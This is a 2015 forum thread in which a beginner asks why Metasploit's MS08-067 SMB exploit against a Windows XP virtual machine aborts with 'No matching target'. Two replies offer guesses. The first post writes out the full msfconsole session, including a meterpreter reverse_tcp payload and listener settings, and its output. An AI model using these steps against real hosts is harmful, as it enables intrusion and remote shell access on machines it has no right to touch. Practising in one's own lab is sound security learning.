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Thread: [Exploit aborted due to failure: no-target: No matching target](#)

aEthern0 - August 2, 2015, 7:04 am

Hi Everyone

Hope you are well!

I would like to get some help about the following:

I have Kali linux and on it installed via VirtualBox Windows Xp.

With metasploit i get the following error when exploiting:

"Exploit aborted due to failure: no-target: No matching target"

Kindly find below the full script:

```
root@aEthern0:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
root@aEthern0:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosv.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
root@aEthern0:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.XXX.XX5
RHOST => 192.168.XXX.XX5
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.XXX.XX3
LHOST => 192.168.XXX.XX3
msf exploit(ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOST	192.168.XXX.XX5	yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: , , seh, thread, process, none)
LHOST	192.168.XXX.XX3	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id Name

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0 Automatic Targeting

```
msf exploit(ms08_067_netapi) > exploit
```

```
[*] Started reverse handler on 192.168.XXX.XXX3:4444
```

```
[*] Automatically detecting the target...  
[*] Fingerprint: Windows XP - Service Pack 1 - lang:Unknown  
[*] We could not detect the language pack, defaulting to English  
[-] Exploit aborted due to failure: no-target: No matching target
```

Can anyone help?
Cheers

WhoAsked - *August 31, 2015, 6:22 pm*

Hey aEthern0 I'm having the same problem did you happen to find a fix for it yet? I'm new and trying to get the hang of using kali

Thanks.

CyberGuard - *September 1, 2015, 4:06 pm*

Did you copy this from another tutorial and did you actually change the X to the actual IP or not?
Also, it might be that it doesn't work because the exploit can't run on that OS.
It says it will run on Windows XP SP0/SP1 Universal though.